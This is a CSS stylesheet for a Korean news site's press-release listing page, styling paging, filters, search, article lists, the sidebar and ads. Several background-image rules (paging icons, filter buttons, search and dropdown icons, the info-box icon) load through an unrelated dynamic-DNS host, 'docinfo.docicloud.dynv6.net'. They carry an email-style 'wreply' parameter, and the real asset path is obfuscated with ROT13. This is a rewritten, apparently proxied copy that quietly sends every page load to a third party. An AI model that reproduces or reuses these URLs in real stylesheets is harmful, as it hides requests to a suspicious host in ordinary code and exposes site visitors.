@charset "UTF-8";

/* 보도자료 Web UI */

/* icon */
img.icon-premium {width:12px; height:16px; margin-right:5px; vertical-align:-2px}
/* contents */
#container {min-width:1180px}
.btn-top-wrap .btn-position {position:absolute; bottom:80px; right:-600px}
.contents_wrap {width:1180px; margin:0 auto; padding-top:40px}
.contents_wrap:after {content:''; display:block; clear:both}
.contents {float:left; width:820px}
/* paging */
.paging {padding:20px 0; text-align:center}
.paging a, .paging strong {display:inline-block; min-width:40px; height:35px; padding:0 9px 0 8px; margin-right:-.34em; border:1px solid transparent; background:#fff; font-size:13px; line-height:33px; box-sizing:border-box; *display:inline; *zoom:1}
.paging strong, .paging a:hover {position:relative; z-index:2; border-color:#121212}
.paging a:hover {text-decoration:none}
.paging .fst, .paging .pre, .paging .next, .paging .end {position:relative; padding:0; border-color:#e5e5e5}
.paging_pr, .paging_nx, .paging_fr, .paging_ed {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Svzt%2Sjjj%2Sj%2Spbzzba%2Sfce-cntvat.cat') no-repeat}
.paging_pr, .paging_nx {margin:-3px 0 0; width:5px; height:7px}
.paging_fr, .paging_ed {margin:-3px 0 0; width:9px; height:7px}
.paging_fr {background-position:0 0}
.paging_pr {background-position:-38px 0}
.paging_nx {background-position:-53px 0}
.paging_ed {background-position:-19px 0}
/* contents */
.press-filter {position:relative; min-height:50px; box-sizing:border-box; font-size:13px}
.press-filter button {outline:none}
.press-filter .btn-filter {position:absolute; top:13px; right:25px; z-index:3; min-width:50px; line-height:26px}
.press-filter .btn-filter > .txt {position:relative}
.press-filter .btn-filter:after {content:''; display:inline-block; width:6px; height:6px; margin-left:8px; border-width:1px; border-style:solid; border-color:transparent #121212 #121212 transparent; vertical-align:3px; transform:rotate(45deg)}
.press-filter .btn-filter.on:after {border-color:#121212 transparent transparent #121212; vertical-align:-2px}
.press-filter .press-filter-info,
.press-filter .press-filter-cont {padding:12px 30px; border-radius:5px; background:#f7f7f7; box-sizing:border-box}
.press-filter .press-filter-info {position:absolute; top:0; left:0; width:100%; line-height:26px} 
.press-filter .press-filter-cont {position:relative; z-index:-1; height:50px; padding-bottom:15px; overflow:hidden}
.press-filter.active .press-filter-cont {visibility:visible; z-index:2}
.order-tab .tab-tit {float:left; margin-right:10px; line-height:26px}
.order-tab .order-option {float:left}
.order-tab .order-option label {margin-right:15px; font-size:13px; line-height:26px; cursor:pointer}
.order-tab .order-option .radio {width:16px; height:16px; margin-right:4px; vertical-align:-3px}
.order-tab .tab-group {position:relative; float:left; border-radius:5px; background:#e0e0e0}
.order-tab .tab-group .btn-order {position:relative; z-index:2; float:left; width:80px; height:26px; font-size:12px; text-align:center; box-sizing:border-box}
.order-tab .tab-group .btn-order span {position:relative}
.order-tab .tab-group .btn-order:after {content:''; display:inline-block; width:1px; height:26px; vertical-align:-8px}
.order-tab .tab-group .bg-toggle {content:''; display:inline-block; position:absolute; top:0; left:0; width:80px; height:26px; border-radius:5px; border:1px solid #ddd; background:#fff; box-sizing:border-box; pointer-events:none; transition:all ease-in-out .3s}
.order-tab .tab-group .btn-order.order1[aria-checked="true"] ~ .bg-toggle {left:0}
.order-tab .tab-group .btn-order.order2[aria-checked="true"] ~ .bg-toggle {left:80px}
.order-tab:after {content:''; display:block; clear:both}
.filter-info {position:absolute; top:12px; right:100px; font-size:11px; line-height:26px}
.filter-info:before {content:'※ '; font-size:12px} 
.press-list-wrap {margin-top:10px; margin-bottom:10px}
.press-list {margin:-4px -5px}
.press-list > li {float:left; width:25%; padding:4px 5px; box-sizing:border-box}
.press-list label {display:block; font-size:12px; cursor:pointer}
.press-list .check {position:absolute; width:1px; height:1px; margin:-1px; padding:0; border:none; overflow:hidden; clip:rect(0 0 0 0); color:transparent}
.press-list label > .txt {display:block; height:28px; padding:5px 8px; border:1px solid #585858; border-radius:4px; background:#fff; color:#121212; box-sizing:border-box}
.press-list .check:checked + .txt {border-color:#436f91; background:#436f91; color:#fff}
.press-list:after {content:''; display:block; clear:both}
.press-filter .filter-btns {position:absolute; right:30px; bottom:20px; margin-top:10px; text-align:center}
.press-filter .filter-btns [class^="btn-"] {display:inline-block; margin:0 9px; font-size:12px; box-sizing:border-box}
.press-filter .filter-btns [class^="btn-"]:before {content:''; display:inline-block; margin-right:4px}
.press-filter .filter-btns .btn-uncheck-all:before {width:16px; height:15px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Svzt%2Sjjj%2Sj%2Spbzzba%2Ssbez%2Svpba-erfrg.cat%3Si%3Q2') no-repeat; background-size:16px 15px; vertical-align:-3px}
.press-filter .filter-btns .btn-action {font-weight:bold}
.press-filter .filter-btns .btn-action:before {width:14px; height:11px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Svzt%2Sjjj%2Sj%2Spbzzba%2Ssbez%2Svpba-purpx-o-28k22.cat') no-repeat; background-size:14px 11px}
.filter-btn-info {display:inline-block; font-size:11px}
.filter-btn-info li:before {content:'· '; font-size:12px}
.press-search {margin:40px 0}
.press-search .search-form {position:relative; width:100%; margin:0 auto}
.press-search .inp-txt {display:block; width:100%; height:48px; padding:0 50px 0 20px; border:1px solid #121212; border-radius:5px; box-sizing:border-box; color:#121212; font-size:17px; outline:none}
.press-search .inp-txt::placeholder {color:#888}
.press-search .inp-txt:-ms-input-placeholder {color:#888}
.press-search .inp-txt::-ms-input-placeholder {color:#888}
.press-search .btn-search {position:absolute; top:0; right:0; width:50px; height:48px}
.press-search .btn-search:before {content:''; position:absolute; top:50%; left:50%; transform:translate(-50%,-50%); transform-origin:left top; width:24px; height:24px; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Spff%2Sjjj%2Sj%2Sqngn%3Nvzntr%2Sfit%2Okzy%2P%253Pfit%20kzyaf%3Q%27uggc%3N%2S%2Sjjj.j3.bet%2S2000%2Sfit%27%20jvqgu%3Q%2724%27%20urvtug%3Q%2724%27%20svyy%3Q%27abar%27%20ivrjObk%3Q%270%200%2024%2024%27%253R%253Pcngu%20fgebxr%3Q%27%2523121212%27%20fgebxr-yvarpnc%3Q%27ebhaq%27%20fgebxr-yvarwbva%3Q%27ebhaq%27%20fgebxr-jvqgu%3Q%272%27%20q%3Q%27z21%2021-6-6z2-5n7%207%200%201%201-14%200%207%207%200%200%201%2014%200%27%2S%253R%253P%2Sfit%253R") no-repeat center/contain}
.press-name {padding-bottom:15px; font-weight:bold}
.press-name .default-tit {font-size:17px}
.press-name em {font-size:14px}
.news-list {padding-bottom:37px; border-bottom:1px solid #e5e5e5}
.news-list > li {display:table; table-layout:fixed; width:100%; padding-top:37px}
.news-list > li:nth-child(5n+1) {margin-top:37px; border-top:1px solid #e5e5e5}
.news-list > li:first-child {margin-top:0; padding-top:20px}
.news-list > li > div {display:table-cell; vertical-align:top}
.news-list .news-info {margin-bottom:3px; font-size:13px; letter-spacing:0}
.news-list .news-info > span ~ span:before {content:''; display:inline-block; position:relative; top:1px; width:1px; height:12px; margin:0 6px 0 2px; background:#e5e5e5}
.news-list .news-tit,
.news-list .lead {display:block; display:-webkit-box; text-overflow:clip; overflow:hidden; -webkit-box-orient:vertical}
.news-list .news-tit {max-height:52px; font-size:17px; line-height:26px; -webkit-line-clamp:2}
/* .news-list .news-tit a:visited {color:#888} */
.news-list .lead {overflow:hidden; max-height:44px; margin-top:8px; font-size:15px; line-height:22px; -webkit-line-clamp:2}
.news-list .thumb {width:110px; height:67px; padding:26px 0 0 40px; text-align:center}
.news-list .thumb > a {display:inline-block}
.news-list .thumb img {max-width:110px; max-height:67px}
.no-result {padding:70px 0; border-top:1px solid #e5e5e5; font-size:17px; text-align:center}

/* 상단 안내 영역 */
.press-info-box {position:relative; min-height:60px; margin-bottom:30px; padding:27px 10px 19px 103px; border:1px solid #e5e5e5; background:#f0f7ff; font-size:16px; line-height:1.6; word-break:keep-all}
.press-info-box:before {content:''; position:absolute; top:22px; left:20px; width:62px; height:63px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Svzt%2Sjjj%2Sj%2Spbzzba%2Svpba-cerffarjf.fit') no-repeat; transform:scale(0.9)}

/* 검색 선택 영역 */
.dropdown-layer {position:relative; white-space:nowrap}
.dropdown-layer .dropdown-toggle {display:inline-flex; align-items:center; justify-content:space-between; gap:4px; width:100%; height:48px; line-height:38px; padding:0 16px; border:1px solid #585858; border-radius:8px; background:#fff; box-sizing:border-box; outline:none; font-size:16px; text-align:left; letter-spacing:-0.038em}
.dropdown-layer .dropdown-toggle .text {display:block; flex:1 1 auto; padding-right:12px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap}
.dropdown-layer .dropdown-toggle::after {content:''; flex:0 0 auto; display:inline-block; width:24px; height:24px; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Spff%2Sjjj%2Sj%2Sqngn%3Nvzntr%2Sfit%2Okzy%2P%253Pfit%20kzyaf%3Q%27uggc%3N%2S%2Sjjj.j3.bet%2S2000%2Sfit%27%20jvqgu%3Q%2724%27%20urvtug%3Q%2724%27%20svyy%3Q%27abar%27%20ivrjObk%3Q%270%200%2024%2024%27%253R%253Pcngu%20fgebxr%3Q%27%2523121212%27%20fgebxr-yvarpnc%3Q%27ebhaq%27%20fgebxr-yvarwbva%3Q%27ebhaq%27%20fgebxr-jvqgu%3Q%272%27%20q%3Q%27z18%2015-6-6-6%206%27%2S%253R%253P%2Sfit%253R") no-repeat 50% 50%/contain;}
.dropdown-layer .dropdown-toggle[data-value=""] .text {color:#888}
.dropdown-layer .dropdown-cont {display:none; position:absolute; left:0; top:48px; z-index:2; width:100%; border:1px solid #585858; border-top:none; border-radius:0 0 8px 8px; background:#fff; box-sizing:border-box; overflow:hidden}
.dropdown-layer .dropdown-menu {font-size:16px}
.dropdown-layer .dropdown-menu a {display:flex; align-items:center; height:48px; padding:8px 16px; text-decoration:none; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; box-sizing:border-box}
.dropdown-layer .dropdown-menu a:hover, .dropdown-layer .dropdown-menu li.on a {background:#F7F7F7}
.dropdown-layer.active {z-index:3}
.dropdown-layer.active .dropdown-toggle {border-bottom-left-radius:0; border-bottom-right-radius:0}
.dropdown-layer:not(.active) .dropdown-toggle::after {transform:rotate(180deg)}
.dropdown-layer.active .dropdown-cont {display:block}

.press-search.search-wrap {display:flex; justify-content:space-between; gap:8px}
.press-search.search-wrap .inp-txt {padding-left:16px; padding-right:56px; border-color:#585858; border-radius:8px; font-size:16px; letter-spacing:-0.038em}
.press-search.search-wrap .search-select {width:150px; flex:0 0 auto}
.press-search.search-wrap .btn-search {right:6px; height:48px}

/* aside */
.aside {float:right; width:300px}
.inner_aside {width:300px}
.inner_aside > div + div {margin-top:40px}
/* 우측 모듈 */
.asidemodule {position:relative}
.asidemodule .tit_box {margin-bottom:20px; padding-bottom:15px; border-bottom:1px solid #ddd; box-sizing:border-box}
.asidemodule .tit_list {display:inline-block; position:relative; height:auto; border-bottom:none; font-weight:700; font-size:20px}
.asidemodule:first-child .tit_box {height:60px; padding-top:19px}

.asidemodule .aside_news_tit {font-weight:500}
/* 우측 모듈(실시간 인기기사) */
.asidemodule .popular_list li {position:relative; padding-left:30px; font-size:16px; line-height:1.2}
.asidemodule .popular_list li + li {margin-top:15px}
.asidemodule .popular_list a {display:block; overflow:hidden; text-overflow:ellipsis; white-space:nowrap}
.asidemodule .popular_list em {position:absolute; left:0; margin-right:4px;  font-weight:bold; font-style:italic; font-family:Tahoma, sans-serif}
.asidemodule .popular_list em::after {content:'.'}

/* ad */
/* 본문 하단광고 */
.ad_bottom {width:970px; margin:0 auto; padding:20px 40px; text-align:center}
/* 좌우 날개 광고 */
.fltAd {position:absolute; top:0; left:50%; width:1px; height:0}
.fltAd .left {position:absolute; top:530px; left:-795px; text-align:right}
.fltAd .left div + div {margin-top:900px}
.fltAd .right {position:absolute; top:263px; right:-645px; text-align:left}
.fltAd .right #stickyAd {position:absolute}

/* 2023.01.10 우측 썸네일 리스트 모듈(기사뷰와 동일) */
.aside-list-thumb > li + li {margin-top:25px}    
.aside-list-thumb .news-item {display:flex; flex-direction:row-reverse; align-items:center; gap:10px}
.aside-list-thumb .news-item .thumb {flex:0 0 auto; position:relative; overflow:hidden; border-radius:10px; width:88px; height:55px}
.aside-list-thumb .news-item .thumb > a {display:block; position:relative; width:100%; height:100%}
.aside-list-thumb .news-item .thumb img {width:100%; min-height:100%; object-fit:cover; object-position:top}
.aside-list-thumb .news-item .txt-cont {flex: 1 1 auto; width:calc(100% - 98px)}
.aside-list-thumb .news-tit {overflow:hidden; display:block; display:-webkit-box; text-overflow:clip; -webkit-box-orient:vertical; font-weight:normal; max-height:44px; font-size:16px; line-height:22px; -webkit-line-clamp:2}